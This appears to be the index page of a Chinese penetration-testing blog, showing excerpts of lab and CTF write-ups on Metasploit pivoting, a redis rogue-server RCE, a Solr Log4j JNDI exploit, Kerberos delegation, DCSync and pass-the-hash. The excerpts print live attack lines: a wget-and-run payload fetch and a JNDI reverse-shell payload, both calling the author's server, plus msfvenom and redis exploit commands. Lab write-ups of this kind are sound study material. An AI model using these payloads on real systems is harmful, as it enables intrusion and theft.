ke1nys`Blog

这里用这个春秋云镜的Certify靶机举例子 使用这里的前提是先反弹shell到我们的vps上 先使用web_delivery这模块来进行监听 把这几个地方配置好 然后run运行 我们就会的到一个命令行 1wget -qO 2yheDLvT --no-check-certificate http://101.42.39.110:1234/605OcaF; chmod +x 2yheDLvT; ./2yheDLvT& disown 然后到tmp目录下进行运行 然后我们的这个web_delivery这个模块就可以监听到反弹的shell 然后查看内网ip 设置route 123图中写错了 应该是 route add 172.22.9.0 255.255.0.0 1 不用set (前面的172.22.9.0是内网ip 然后255.255.0.0 后面跟着的是session的id) 然后再使用msfvenom来生成windows的exe文件 1msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.22.2.7 L ...

占个坑位 来记录一下这个Potato提权 (这个提权的话主要就是针对这个windows服务账户的提权) https://www.freebuf.com/articles/web/256360.html 文章1 https://xz.aliyun.com/t/7776/ 文章2

信息收集外网打点fscan开扫 80端口没啥用 就一个centos 然后就是ftp的匿名登录 看了一下也没啥 直接就去看redis这个未授权了 这里的话创建文件的话是没有权限 所以我们尝试去使用工具来进行反弹shell (主从复制RCE) ./redis-rogue-server.py —rhost 39.99.136.166 —lhost xx.xx.xxx.xxx 因为这个命令太难看了 所以使用python交互一下 ​ 想读取flag发现没有权限 然后就去尝试提权操作 还是三个方法挨个试(suid sudo 内核) 1find / -perm /4000 2>/dev/null 觉得这个base64很眼熟 于是上网站上找一下 内网渗透先查看内网ip 发现没有这个命令 于是上传cdk上去执行 上传fscan扫描内网 123456789172.22.2.3 域控 win172.22.2.7 ---> 这是getshell的linux机器172.22.2.16 mssqlserver win172.22.2.18 ...

信息收集拿到ip后还是先使用fscan进行扫描 1fscan -h 39.98.127.239 -p 1-65535 8983端口开了这个服务 是solr 查看到版本号 于是Google查找 找了这篇文章 于是进行getshell操作 先测试是否存在这个漏洞 漏洞存在进行getshell操作 Getshell这里的话使用这个工具 JNDIExploit-1.3-SNAPSHOT.jar https://github.com/WhiteHSBG/JNDIExploit/releases 在自己的vps上启动 payload 1${jndi:ldap://101.42.39.110:1389/Basic/ReverseShell/101.42.39.110/3389} 记得把端口给打开 然后监听3389端口 成功 并且成功弹到了shell 这里查看了一下根目录和home目录 发现没有flag于是就猜测要提权了 提权这里的话就常规三件套了 sudo suid 内核 挨个找就行了 刚好发现一个以root命令执行的命令 并且不需要密码 ...

参考文章1 参考文章—xz社区 这个是在打春秋云镜的Certify的靶机的时候遇到的知识点 上一篇是写了RBCD 现在的话把其他两个补齐 (这里的话复现的话就直接搬别人的截图了 这里就不搭建环境复现了) 简介这里的话 怎么发现约束委派和非约束委派的用户和计算机就不写了 就写利用方式 原理说明 当服务账号或者主机被设置为非约束性委派时，其userAccountControl属性会包含TRUSTED_FOR_DELEGATION 当服务账号或者主机被设置为约束性委派时，其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION，且msDS-AllowedToDelegateTo属性会包含被约束的服务 发现域中委派的用户或计算机一般使用的手段是通过LDAP协议（全称：LightweightDirectory Access Protocol）然后通过userAccountControl属性筛选出符合的用户或计算机，我们可以通过ADSI（全称：ActiveDirectory Service Interfaces Editor）来编辑 ...

参考文章1—CSDN 参考文章2—xz阿里云 前言打春秋云镜Certify遇到的这个知识点 在这里记录一下 简称RBCD (约束委派和非约束委派再新开一篇文章来写) 这里的话因为懒得搭建环境 就直接用别人的截图了 RBCD基于资源的约束性委派：为了使⽤户/资源更加独⽴，微软在Windows Server 2012中引⼊了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置相关属性，⽽是将设置委派的权限交给了服务机器。服务机器在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性，就可以进行基于资源的约束委派。 配置了基于资源的约束委派的账户的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的值为被允许基于资源约束性委派的账号的SID。如admin—pc的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的值为test的sid值(——这里就是说test这台计算机就对这个admin-pc这台计算机具有xxx权限 什么权限的话得看加域用户如何设置 ...

在网上看文章得时候 无意中看到这个Kryo反序列化 于是就写这篇文章来学习一下 参考文章1 参考文章2 简介Kryo 是一个快速序列化/反序列化工具，其使用了字节码生成机制。Kryo 序列化出来的结果，是其自定义的、独有的一种格式，不再是 JSON 或者其他现有的通用格式；而且，其序列化出来的结果是二进制的（即 byte[]；而 JSON 本质上是字符串 String），序列化、反序列化时的速度也更快 (一个优点)。 其相对于其他反序列化类的特点是可以使用它来序列化或反序列化任何Java类型，而不需要实现Serializable。(这就是这个类得特殊之处了) 分析引入依赖 12345<dependency> <groupId>com.esotericsoftware</groupId> <artifactId>kryo</artifactId> <version>4.0.2</version></dependency> 先写个demo来进行分析 MyClass.java ...

这里打这个靶机主要是为了学习一下MSF和CS的联动和使用 搭建环境——->参考文章 最终形成的 IP 划分情况如下： 主机 ip地址 Win11 物理机 192.168.92.129 Win7 外网服务器 外网IP：192.168.92.128；内网IP：192.168.52.143 Win2003 域成员主机 内网IP：192.168.52.141 Win 2008 域控主机 内网IP：192.168.52.138 kali(MSF) 192.168.92.130 这里的就搭建完成了 win7能ping通所有人 但是所有人ping不通win7 因为win7防火墙过滤了icmp win2003和win2008能互相ping通 外网打点getshell就是访问外网服务器 发现是一个php探针 如何发现下面存在一个mysql服务器的弱口令登录 root/root 然后开扫描 查找这个mysql管理后台 扫描发现存在phpmyadmin数据库管理后台 弱口令直接登录 root/root phpmyadmin后台gets ...

这里的使用这个的前提就是已经拿下域控了 并且拿下管理员账户了 为了防止蓝队把我们踢出局 所以执行这个是必要的 DC Sync参考文章 介绍DCSync是mimikatz的一个功能，能够模拟域控制器并从域控制器导出帐户密码hash 在域环境中，不同域控制器（DC）之间，每 15 分钟都会有一次域数据的同步。当一个域控制器（DC 1）想从其他域控制器（DC2）获取数据时，DC 1 会向 DC 2 发起一个 GetNCChanges 请求，该请求的数据包括需要同步的数据。如果需要同步的数据比较多，则会重复上述过程。 DCSync 就是利用的这个原理，通过 Directory Replication Service（DRS） 服务的 GetNCChanges 接口向域控发起数据同步请求。 新版本的 Mimikatz新增加了 DCSync 功能。该功能可以模仿一个域控制器，从真实的域控制器中请求数据，例如用户的哈希。该功能最大的特点就是可以实现不登录到域控而获取域控上的数据 当获得了域内管理员权限，如果能修改域内普通用户的权限，使其具有DCSync权限的话，那么普通域用户也能导出域内用户的哈 ...

写这篇文章也是在打春秋云镜Time靶机的时候遇到这个东西 于是就想写篇文章来记录学习一下 thm虽然也讲了 但是自己写一遍记录的话还是能够加深印象的 NTLM 身份验证原理这个NTLM协议和Kerberos就是域中身份验证的两大协议 这个NTLM协议相比于Kerberos协议是稍微简陋了一点 所以这就是为什么Kerberos协议是主流的原因 客户端向要访问的服务器发送身份验证请求。 服务器生成一个随机数，并将其作为质询发送给客户端。 客户端将其 NTLM 密码哈希与质询（和其他已知数据）相结合，以生成对质询的响应，并将其发送回服务器进行验证。 服务器将质询和响应转发到域控制器进行验证。 域控制器使用质询重新计算响应，并将其与客户端发送的初始响应进行比较。如果它们都匹配，则客户端进行身份验证;否则，访问将被拒绝。身份验证结果将发送回服务器。 服务器将身份验证结果转发到客户端 就是这么个身份验证原理 (那么这个协议使用少的话肯定是有他自己的原因的 接下来就讲一下这个PTH攻击 就是因为这个协议的验证过于简陋造成的) PTH攻击由于从我们已获得管理权限的主机中提取凭据（ ...